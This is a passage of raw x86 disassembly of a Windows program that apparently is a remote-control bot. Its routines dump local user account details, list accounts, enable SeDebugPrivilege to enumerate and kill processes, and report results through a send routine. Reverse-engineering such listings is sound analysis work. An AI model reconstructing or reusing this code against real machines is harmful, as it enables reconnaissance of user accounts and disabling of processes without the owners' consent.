		mov	[ebp+var_24], eax
		call	sub_41335C
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43A29C
		pop	edi
		leave
		retn
sub_4135AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413606	proc near		; CODE XREF: sub_4134E1+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335C
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43A28C
		pop	esi
		retn
sub_413606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413627	proc near		; CODE XREF: sub_4134E1+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43A410
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4139B4
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4139EF
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4154E7
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_413740
		dec	eax
		jz	short loc_413739
		dec	eax
		jz	short loc_413732
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_413745
; ---------------------------------------------------------------------------

loc_413732:				; CODE XREF: sub_413627+102j
		mov	eax, offset aAdministrato_0 ; "Administrator"
		jmp	short loc_413745
; ---------------------------------------------------------------------------

loc_413739:				; CODE XREF: sub_413627+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_413745
; ---------------------------------------------------------------------------

loc_413740:				; CODE XREF: sub_413627+FCj
		mov	eax, offset aGuest ; "Guest"

loc_413745:				; CODE XREF: sub_413627+109j
					; sub_413627+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4139E0
; ---------------------------------------------------------------------------

loc_4139B4:				; CODE XREF: sub_413627+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_436EE0
		push	eax
		call	sub_4154E7
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412D4C
		add	esp, 20h

loc_4139E0:				; CODE XREF: sub_413627+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4139EF
		push	[ebp+var_4]
		call	dword_43A448

loc_4139EF:				; CODE XREF: sub_413627+40j
					; sub_413627+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_413627	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139F5	proc near		; CODE XREF: sub_40CE55+20BCp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_41335C
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 18h

loc_413A34:				; CODE XREF: sub_4139F5+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43A320
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_413A95
		cmp	eax, 0EAh
		jz	short loc_413A95
		push	eax
		push	eax
		call	sub_413B75
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_4370E0
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h
		jmp	short loc_413B10
; ---------------------------------------------------------------------------

loc_413A95:				; CODE XREF: sub_4139F5+62j
					; sub_4139F5+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413B23
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413B10

loc_413AA7:				; CODE XREF: sub_4139F5+EDj
		cmp	edi, esi
		jz	short loc_413AE6
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_413AA7
		jmp	short loc_413B10
; ---------------------------------------------------------------------------

loc_413AE6:				; CODE XREF: sub_4139F5+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_437098
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 1Ch

loc_413B10:				; CODE XREF: sub_4139F5+9Ej
					; sub_4139F5+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413B23
		push	edi
		call	dword_43A448
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_413B23:				; CODE XREF: sub_4139F5+A5j
					; sub_4139F5+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413A34
		cmp	edi, esi
		jz	short loc_413B3B
		push	edi
		call	dword_43A448

loc_413B3B:				; CODE XREF: sub_4139F5+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4139F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B75	proc near		; CODE XREF: sub_4131CB+41p
					; sub_4133C0+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413C27
		jz	loc_413C20
		cmp	eax, 7Bh
		ja	short loc_413BEC
		jz	short loc_413BE2
		cmp	eax, 5
		jz	short loc_413BD8
		cmp	eax, 8
		jz	short loc_413BCE
		cmp	eax, 32h
		jz	short loc_413BC4
		cmp	eax, 35h
		jz	short loc_413BBA
		cmp	eax, 57h
		jnz	loc_413C76
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BBA:				; CODE XREF: sub_413B75+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BC4:				; CODE XREF: sub_413B75+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BCE:				; CODE XREF: sub_413B75+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BD8:				; CODE XREF: sub_413B75+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BE2:				; CODE XREF: sub_413B75+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BEC:				; CODE XREF: sub_413B75+1Aj
		sub	eax, 7Ch
		jz	short loc_413C19
		sub	eax, 7C8h
		jz	short loc_413C12
		dec	eax
		jz	short loc_413C08
		dec	eax
		jnz	short loc_413C76
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413C08:				; CODE XREF: sub_413B75+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413C12:				; CODE XREF: sub_413B75+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C19:				; CODE XREF: sub_413B75+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C20:				; CODE XREF: sub_413B75+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C27:				; CODE XREF: sub_413B75+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413C60
		jz	short loc_413C59
		sub	eax, 8ADh
		jz	short loc_413C8B
		dec	eax
		dec	eax
		jz	short loc_413C52
		dec	eax
		jz	short loc_413C4B
		dec	eax
		dec	eax
		jnz	short loc_413C76
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C4B:				; CODE XREF: sub_413B75+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C52:				; CODE XREF: sub_413B75+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C59:				; CODE XREF: sub_413B75+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C60:				; CODE XREF: sub_413B75+B9j
		sub	eax, 8CAh
		jz	short loc_413C92
		sub	eax, 17h
		jz	short loc_413C8B
		sub	eax, 25h
		jz	short loc_413C84
		sub	eax, 29h
		jz	short loc_413C7D

loc_413C76:				; CODE XREF: sub_413B75+35j
					; sub_413B75+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C7D:				; CODE XREF: sub_413B75+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C84:				; CODE XREF: sub_413B75+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C8B:				; CODE XREF: sub_413B75+C2j
					; sub_413B75+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413C97
; ---------------------------------------------------------------------------

loc_413C92:				; CODE XREF: sub_413B75+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_413C97:				; CODE XREF: sub_413B75+40j
					; sub_413B75+4Aj ...
		push	offset dword_468C20
		call	sub_4154E7
		pop	ecx
		mov	eax, offset dword_468C20
		pop	ecx
		retn
sub_413B75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CA9	proc near		; CODE XREF: sub_40CE55+20FBp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179F9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_42113C
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4179F9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179DC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43A3C8
		test	eax, eax
		jnz	short loc_413D39
		mov	esi, offset dword_468A1C
		push	offset dword_437438
		push	esi
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_413D62
; ---------------------------------------------------------------------------

loc_413D39:				; CODE XREF: sub_413CA9+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413B75
		pop	ecx
		mov	esi, offset dword_468A1C
		push	eax
		push	offset dword_4373FC
		push	esi
		call	sub_4154E7
		add	esp, 14h

loc_413D62:				; CODE XREF: sub_413CA9+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413CA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D67	proc near		; CODE XREF: sub_409DF3+7p
					; sub_413DD2+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_421104
		push	eax
		call	dword_43A39C
		test	eax, eax
		jnz	short loc_413D86
		leave
		retn
; ---------------------------------------------------------------------------

loc_413D86:				; CODE XREF: sub_413D67+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43A374
		test	eax, eax
		jz	short loc_413DC4
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413DAD
		or	[ebp+var_8], 2
		jmp	short loc_413DB1
; ---------------------------------------------------------------------------

loc_413DAD:				; CODE XREF: sub_413D67+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_413DB1:				; CODE XREF: sub_413D67+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43A424
		mov	esi, eax

loc_413DC4:				; CODE XREF: sub_413D67+32j
		push	[ebp+var_4]
		call	dword_42106C
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DD2	proc near		; CODE XREF: sub_40CE55+47D9p
					; sub_413F83+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43A3D8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_413F7C
		cmp	dword_43A3BC, ebx
		jz	loc_413F7C
		cmp	dword_43A2D8, ebx
		jz	loc_413F7C
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413F6F
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43A3BC
		mov	esi, dword_42106C
		test	eax, eax
		jz	loc_413F6A

loc_413E75:				; CODE XREF: sub_413DD2+BEj
					; sub_413DD2+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43A2D8
		test	eax, eax
		jz	loc_413F6A
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413E75
		cmp	[ebp+arg_C], ebx
		jnz	loc_413F22
		cmp	[ebp+arg_4], ebx
		jz	short loc_413E75
		push	[ebp+var_124]
		push	8
		call	dword_43A3D8
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413EDF
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43A284
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413EE5
		lea	eax, [ebp+var_230]
		jmp	short loc_413EEB
; ---------------------------------------------------------------------------

loc_413EDF:				; CODE XREF: sub_413DD2+EBj
		push	[ebp+var_124]

loc_413EE5:				; CODE XREF: sub_413DD2+103j
		lea	eax, [ebp+var_108]

loc_413EEB:				; CODE XREF: sub_413DD2+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_413E75
; ---------------------------------------------------------------------------

loc_413F22:				; CODE XREF: sub_413DD2+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E75
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_42111C
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		call	dword_421140
		test	eax, eax
		jnz	short loc_413F65
		push	edi
		call	esi
		jmp	short loc_413F7C
; ---------------------------------------------------------------------------

loc_413F65:				; CODE XREF: sub_413DD2+18Cj
		push	1
		pop	eax
		jmp	short loc_413F7E
; ---------------------------------------------------------------------------

loc_413F6A:				; CODE XREF: sub_413DD2+9Dj
					; sub_413DD2+B5j
		push	[ebp+var_4]
		call	esi

loc_413F6F:				; CODE XREF: sub_413DD2+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx

loc_413F7C:				; CODE XREF: sub_413DD2+3Aj
					; sub_413DD2+46j ...
		xor	eax, eax

loc_413F7E:				; CODE XREF: sub_413DD2+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F83	proc near		; DATA XREF: sub_40CE55+538Do

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_437508
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E7
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413FE2
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4C
		add	esp, 14h

loc_413FE2:				; CODE XREF: sub_413F83+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413DD2
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41400A
		push	offset dword_4374CC
		jmp	short loc_41400F
; ---------------------------------------------------------------------------

loc_41400A:				; CODE XREF: sub_413F83+7Ej
		push	offset dword_437494

loc_41400F:				; CODE XREF: sub_413F83+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_414042
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D4C
		add	esp, 14h

loc_414042:				; CODE XREF: sub_413F83+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B16D
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048
		pop	edi
		pop	esi
sub_413F83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414061	proc near		; CODE XREF: sub_40CE55+477Bp
					; sub_4150CE+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_42111C
		mov	esi, eax
		test	esi, esi
		jz	short loc_414093
		push	0
		push	esi
		call	dword_421140
		test	eax, eax
		jnz	short loc_414093
		push	esi
		xor	edi, edi
		call	dword_42106C

loc_414093:				; CODE XREF: sub_414061+1Aj
					; sub_414061+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414061	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414098	proc near		; CODE XREF: sub_4036D4+Ap
					; sub_403C8B+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415543
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_421668
		call	sub_415F8C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_414098	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140C8	proc near		; CODE XREF: sub_414433+49p
					; DATA XREF: .nsp0:off_437550o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C
		push	eax
		call	sub_415539
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_42C22C
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_415A6A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C1A0, esi
		jle	short loc_414121

loc_4140FB:				; CODE XREF: sub_4140C8+57j
		call	sub_415543
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4375A4
		push	1Ch
		push	edi
		call	sub_415A6A
